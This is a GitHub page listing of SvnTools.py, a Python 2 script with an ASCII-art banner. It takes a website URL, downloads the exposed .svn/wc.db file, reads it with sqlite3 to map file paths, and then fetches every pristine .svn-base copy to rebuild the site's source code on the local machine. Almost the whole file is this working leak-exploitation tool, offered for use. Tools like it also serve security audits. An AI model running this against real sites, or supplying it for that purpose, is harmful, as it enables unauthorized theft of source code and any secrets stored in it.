-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathSvnTools.py
77 lines (66 loc) · 2.52 KB
/
SvnTools.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#!/usr/bin/env python
#coding:utf-8
__author__ = 'Rivir'
import requests
import os
import sys
print '''
----
_____ ______ __
/ ___/ ______ /_ __/___ ____ / /____
\__ \ | / / __ \ / / / __ \/ __ \/ / ___/
___/ / |/ / / / / / / / /_/ / /_/ / (__ )
/____/|___/_/ /_/ /_/ \____/\____/_/____/
author: Rivir
----
\ . .
\ / `. .' "
\ .---. < > < > .---.
\ | \ \ - ~ ~ - / / |
_____ ..-~ ~-..-~
| | \~~~\.' `./~~~/
--------- \__/ \__/
.' O \ / / \ "
(_____, `._.' | } \/~~~/
`----. / } | / \__/
`-. | / | / `. ,~~|
~-.__| /_ - ~ ^| /- _ `..-'
| / | / ~-. `-. _ _ _
|_____| |_____| ~ - . _ _ _ _ _>
'''
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0'}
def getfilename(url):
with open('wc.db','wb') as f:
content = requests.get(url=url+'/.svn/wc.db',headers=headers).content
f.write(content)
with open('svn.txt','w') as file:
info = os.popen("""sqlite3 wc.db 'select local_relpath, ".svn/pristine/" || substr(checksum,7,2) || "/" || substr(checksum,7) || ".svn-base" as alpha from NODES;'""").read()
#print info
file.write(info)
os.remove('wc.db')
def restore_svn(url):
getfilename(url)
if not os.path.exists('./svn'):
os.mkdir('svn')
with open('svn.txt') as f:
for file in f:
tmp = file.strip().split('|')
#print tmp
if len(tmp) == 1:
continue
name = tmp[0]
path = tmp[1]
if '/' in name:
book = os.path.dirname(name)
if not os.path.exists('./svn/'+book):
os.makedirs('./svn/'+book)
print 'download:','./svn/'+name
try:
with open('./svn/'+name,'w') as f:
req = requests.get(url+path,headers=headers)
f.write(req.content)
except Exception,e:
#print e
pass
if __name__ == '__main__':
restore_svn(sys.argv[-1])